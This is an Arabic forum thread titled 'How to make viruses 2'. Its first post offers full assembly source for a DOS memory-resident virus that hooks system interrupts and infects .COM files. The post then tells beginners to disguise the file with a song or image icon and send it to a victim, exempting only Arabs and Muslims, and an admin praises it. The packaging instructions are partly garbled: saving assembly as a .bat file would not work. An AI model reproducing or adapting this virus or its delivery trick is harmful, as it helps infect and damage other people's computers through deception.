منتديات ملتقى النجوم
منتديات ملتقى النجوم
منتديات ملتقى النجوم
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

منتديات ملتقى النجوم

منتدى اسلامي شبابي ترفيهي العاب برامج اغاني
 
الرئيسيةالرئيسية  أحدث الصورأحدث الصور  التسجيلالتسجيل  دخولدخول  التعليمات  

 

 كيفية تصنيع الفيروسات 2

اذهب الى الأسفل 
2 مشترك
كاتب الموضوعرسالة
محمد تيتو
عضو جديد
عضو جديد
محمد تيتو


اعلام الدول اعلام الدول : 2
عدد المساهمات : 3
نقاط : 9
تاريخ التسجيل : 25/09/2011
الموقع : :*

بطاقة الشخصية
ترابط بين الاعضاء:
كيفية تصنيع الفيروسات 2 Left_bar_bleue5/5كيفية تصنيع الفيروسات 2 Empty_bar_bleue  (5/5)

كيفية تصنيع الفيروسات 2 Empty
مُساهمةموضوع: كيفية تصنيع الفيروسات 2   كيفية تصنيع الفيروسات 2 Icon_minitime1الثلاثاء سبتمبر 27, 2011 1:57 pm

هاي ازيكم انا جبتلكم طريقة عشان المبتدين الي عايزين يتعلمو صنع الفيروسات بس بالله عليكم لا تجربوها بالمسلمين اللهم بلغت


اول شي نجيب كود الفيرس مثلان زي دا

الكود:
cseg      segment
targ_seg   equ   0B800h+200h
      assume   cs:cseg,ds:cseg
      org   100h
start:
      jmp   vir_entry
      db   1000-4 dup (90h);
      retn

v_begin:
      pop   ax ax ax
vir_entry:
      call   next
next:
      pop   si
      sub   si,offset next
      mov   ax,0FACh
      int   21h
      cmp   ax,3535h
      jne   install
      jmp   go
install:
set_vectors:
      mov   ax,0
      mov   es,ax
      cli
      mov   ax,es:[21h*4]
      mov   [si + offset jmp_21_ofs],ax
      mov   ax,es:[21h*4+2]
      mov   [si + offset jmp_21_seg],ax
      mov   word ptr es:[21h*4],offset int_21 - offset v_begin
      mov   es:[21h*4+2],targ_seg
      mov   ax,es:[10h*4]
      mov   [si + offset jmp_10_ofs],ax
      mov   ax,es:[10h*4+2]
      mov   [si + offset jmp_10_seg],ax
      mov   word ptr es:[10h*4],offset int_10 - offset v_begin
      mov   es:[10h*4+2],targ_seg
copy_self:
      mov   bx,si
      add   bx,offset v_begin
      mov   ax,targ_seg
      mov   es,ax
      mov   di,0
      mov   cx,offset the_end - offset v_begin
copy_loop:
      mov   ah,byte ptr [bx]
      mov   es:[di],ah
      inc   di
      inc   bx
      loop   copy_loop
      sti
go:

restore_bytes:
      mov   bx,si
      add   bx,offset old_bytes
      mov   di,100h
      mov   cx,32
r_b_loop:
      mov   ah,[bx]
      mov   [di],ah
      inc   bx
      inc   di
      loop   r_b_loop
inf_current_dir:
      call   infect_dir

retun_to_prog:
      push   ds
      pop   es
      mov   ax,100h
      push   ax
      retn
int_10:
      cmp   ah,00
      jne   int_10_ok
      iret
int_10_ok:
      db   0EAh
jmp_10_ofs   dw   0
jmp_10_seg   dw   0

;
;      Int 21h handler
;

int_21:
      pushf
      push   ax bx cx dx si di bp ds es
      call   next_1
next_1:
      pop   si
      sub   si,offset next_1
      cmp   ax,0FACh
      jne   loc_1
      pop   es ds bp di si dx cx bx ax
      popf
      mov   ax,3535h
      iret
loc_1:
      cmp   ax,4B00h
      jne   check_chdir
      mov   bx,dx
      mov   di,offset filename
      add   di,si
      mov   cx,64
loc_loop_1:
      mov   ah,ds:[bx]
      mov   cs:[di],ah
      inc   bx
      inc   di
      loop   loc_loop_1
      push   cs
      pop   ds


      call   infect_file
      
      jmp   quit_21

check_chdir:
      cmp   ah,3Bh
      jne   quit_21
      
      push   cs
      pop   ds
      call   infect_dir

quit_21:
      pop   es ds bp di si dx cx bx ax
      popf
      db   0EAh
jmp_21_ofs   dw   0
jmp_21_seg   dw   0
;
;      GLOBAL   DATA
;
f_size      dw   0
old_bytes      db   32 dup (90h)
dta       label   byte
reserved   db   21 dup (0)
dta_attr   db   0
time      dw   0
date      dw   0
l_size      dw   0
h_size      dw   0
filename   db   64 dup (0)
handle      dw   0
old_dta_seg   dw   0
old_dta_ofs   dw   0
all_com        db      '*.COM',0

;
;      ENTRY PROC
;

ep_prog:
      mov   ax,25a0h
      db   0BAh
ret_ofs      dw   0
      int   21h
      int   0A0h
sign            db  'THE APPARITION'
      db   26 dup (0)
;
;      PROCS & ENGINES
;
infect_file   proc   near
open_file:
      mov   ax,3D02h
      mov   dx,offset filename
      add   dx,si
      int   21h
      mov   [si + offset handle],ax
      jnc   get_check_size
      jmp   no_infect
get_check_size:
      mov   ax,4202h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h
      mov   [si + offset f_size],ax
      cmp   ax,600
      jnb   loc_2
      jmp   close
loc_2:
      cmp   ax,60000
      jna   read_bytes
      jmp   close

read_bytes:
      mov   ax,4200h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h

      mov   ah,3Fh
      mov   bx,[si + offset handle]
      mov   dx,offset old_bytes
      add   dx,si
      mov   cx,32
      int   21h

check_mz:
      mov   ax,[si + offset old_bytes]
      cmp   ax,4D5Ah
      jne   loc_3
      jmp   close
loc_3:
      cmp   ax,5A4Dh
      jne   check_sign
      jmp   close

check_sign:
      cmp   word ptr [si + offset old_bytes],0A0B8h
      jne   calc_jmp
      jmp   close
calc_jmp:
      mov   ax,[si + offset f_size]
      add   ax,100h
      mov   [si + ret_ofs],ax

      mov   ax,4202h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h


      mov   dx,offset v_begin
      add   dx,si
      mov   cx,offset the_end - offset v_begin


write_self:
      mov   ah,40h
      mov   bx,[si + offset handle]
      int   21h
set_f_ptr:
      mov   ax,4200h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h
write_prog:
      mov   ah,40h
      mov   bx,[si + offset handle]
      mov   cx,32
      mov   dx,offset ep_prog
      add   dx,si
      int   21h

close:
      mov   ah,3Eh
      mov   bx,[si + offset handle]
      int   21h

no_infect:
      retn
infect_file   endp

infect_dir   proc   near
save_dta:    mov   ah,2fh
      int   21h
      mov   word ptr [si+offset old_dta_ofs],bx
      mov   word ptr [si+offset old_dta_seg],es
set_dta:
      mov   dx,offset dta
      add   dx,si
      mov   ah,1ah
      int   21h
find_first:
      mov   dx,offset all_com
      add   dx,si
      mov   ah,4eh
find_loc_1:
      xor   cx,cx
      mov   cl,00100111b
      int   21h
                jc      no_more
inf_this:
                call    infect_file
find_next:
      mov   ah,4fh
                jmp    find_loc_1
no_more:
restore_old_dta:
      push   ds
      mov   dx,word ptr [offset old_dta_ofs + si]
      mov   ax,word ptr [offset old_dta_seg + si]
      mov   ds,ax
      mov   ah,1ah
      int   21h
      pop   ds
                retn
infect_dir      endp


the_end:
cseg      ends
      end   start

تاني شي تعمل كوبي علي الرمز دا وتنزلو عندك في الجهاز علي هيئة ملف notbad

وتخش جوا وتعمل حفظ للملف بصيغة .bat
هتتحفظ عندك علي هيئة برنامج لكن احظر البرنامج او بالمعني الفيرس كدا مثلان ممكن نقول انو خامد او نايم وتغير الايقونة بتاعته او الصورة الشكل بتاع وتخليه هيئة صورة اغنية زي ما تحب وتبعته للضحية بس تحظير اكبر من التحظير الاولاني ميكنش الضحية اخوك عربي او مسلم
واوعة تفتح بعد الصنع لانك لو فتح الفيرس هيشتغل عندك انتا سيبه هوا يفتحو
الرجوع الى أعلى الصفحة اذهب الى الأسفل
روح الابداع
المدير العام
المدير العام
روح الابداع


اعلام الدول اعلام الدول : 1
عدد المساهمات : 794
نقاط : 2123
تاريخ التسجيل : 31/03/2010
الموقع : ارض الله واسعة

بطاقة الشخصية
ترابط بين الاعضاء:
كيفية تصنيع الفيروسات 2 Left_bar_bleue5/5كيفية تصنيع الفيروسات 2 Empty_bar_bleue  (5/5)

كيفية تصنيع الفيروسات 2 Empty
مُساهمةموضوع: رد: كيفية تصنيع الفيروسات 2   كيفية تصنيع الفيروسات 2 Icon_minitime1السبت أكتوبر 01, 2011 12:01 am

احسنت صنعا يا معلم وطريقتك رائعة والكود اروع يا مان مشكوووووووووووووور
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://starsmoltaqa.yoo7.com
 
كيفية تصنيع الفيروسات 2
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» كيفية تصنيع الفيروسات
» كيفية عمل ايميل بالصور
» كيفية إختراق الفيس بوك
» كيفية تثبيت الموضوع بالصور
» كيفية الحج من البداية الى النهاية

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات ملتقى النجوم :: الاجهزة وصناعة الفيروسات-
انتقل الى: